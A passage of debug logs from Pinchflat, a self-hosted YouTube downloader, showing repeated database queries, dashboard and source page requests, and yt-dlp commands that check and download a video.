?) [2] 22:19:49.468 [debug] QUERY OK source="media_items" db=0.0ms idle=5.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [78, 86] 22:19:49.468 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:49.468 [debug] QUERY OK source="media_items" db=0.0ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [86] 22:19:49.468 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [86] 22:19:49.468 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:49.469 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:49.469 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:49.469 [debug] Running yt-dlp command for action: get_downloadable_status 22:19:49.469 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:49.469 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:49.469 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:49.469 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DMNlzf8PiEM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/78/aa/78aad98b5abcc554f5c3ec711ca1e044bd2c49fa79ca1260c5a0714f0e4e5790.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:19:51.992 [info] GET / 22:19:51.992 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 22:19:51.993 [debug] QUERY OK source="settings" db=0.2ms idle=930.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:51.993 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=931.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 22:19:51.994 [debug] QUERY OK source="sources" db=0.1ms idle=931.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 22:19:51.995 [debug] QUERY OK source="media_items" db=0.4ms idle=932.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:19:51.995 [debug] QUERY OK source="media_items" db=0.1ms idle=343.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:19:51.995 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:51.996 [debug] QUERY OK source="settings" db=0.3ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:51.997 [debug] QUERY OK source="settings" db=0.2ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:51.999 [debug] QUERY OK source="tasks" db=0.5ms idle=3.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:19:52.000 [debug] QUERY OK source="media_items" db=0.3ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [78, 86] 22:19:52.002 [debug] QUERY OK source="media_items" db=0.2ms idle=6.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 22:19:52.003 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:19:52.004 [debug] QUERY OK source="sources" db=0.3ms idle=6.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 1] 22:19:52.007 [debug] QUERY OK source="media_items" db=0.5ms idle=7.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 22:19:52.009 [debug] QUERY OK source="media_items" db=1.0ms idle=7.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 22:19:52.009 [debug] QUERY OK source="sources" db=0.2ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:19:52.011 [info] Sent 200 in 19ms 22:19:52.351 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DMNlzf8PiEM --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/78/aa/78aad98b5abcc554f5c3ec711ca1e044bd2c49fa79ca1260c5a0714f0e4e5790.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:19:52.352 [debug] Running yt-dlp command for action: download 22:19:52.352 [debug] QUERY OK source="settings" db=0.2ms idle=348.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.352 [debug] QUERY OK source="settings" db=0.0ms idle=348.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.352 [debug] QUERY OK source="settings" db=0.0ms idle=344.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:52.352 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DMNlzf8PiEM --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/e3/a0/e3a0ddc6d9b2544d63e65d3175b17d0c4dc10ccdaeba0aeabc25f11d4253b443.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:19:55.100 [info] GET /sources/1 22:19:55.100 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 22:19:55.101 [debug] QUERY OK source="sources" db=0.2ms idle=1038.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:19:55.101 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1039.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:55.102 [debug] QUERY OK source="tasks" db=0.1ms idle=1039.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 22:19:55.102 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=447.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [114] 22:19:55.102 [debug] QUERY OK source="settings" db=0.0ms idle=39.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:55.102 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:55.103 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:55.104 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:19:55.105 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:19:55.105 [debug] QUERY OK source="media_items" db=0.5ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:19:55.106 [debug] QUERY OK source="sources" db=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:19:55.106 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:19:55.107 [debug] QUERY OK source="media_items" db=0.3ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:19:55.108 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:19:55.108 [debug] QUERY OK source="media_items" db=0.2ms idle=2.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:19:55.109 [debug] QUERY OK source="media_items" db=0.4ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:19:55.110 [info] Sent 200 in 9ms 22:19:57.982 [info] GET /sources/2/media/73 22:19:57.982 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "73", "source_id" => "2"} Pipelines: [:browser] 22:19:57.983 [debug] QUERY OK source="media_items" db=0.3ms idle=920.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", 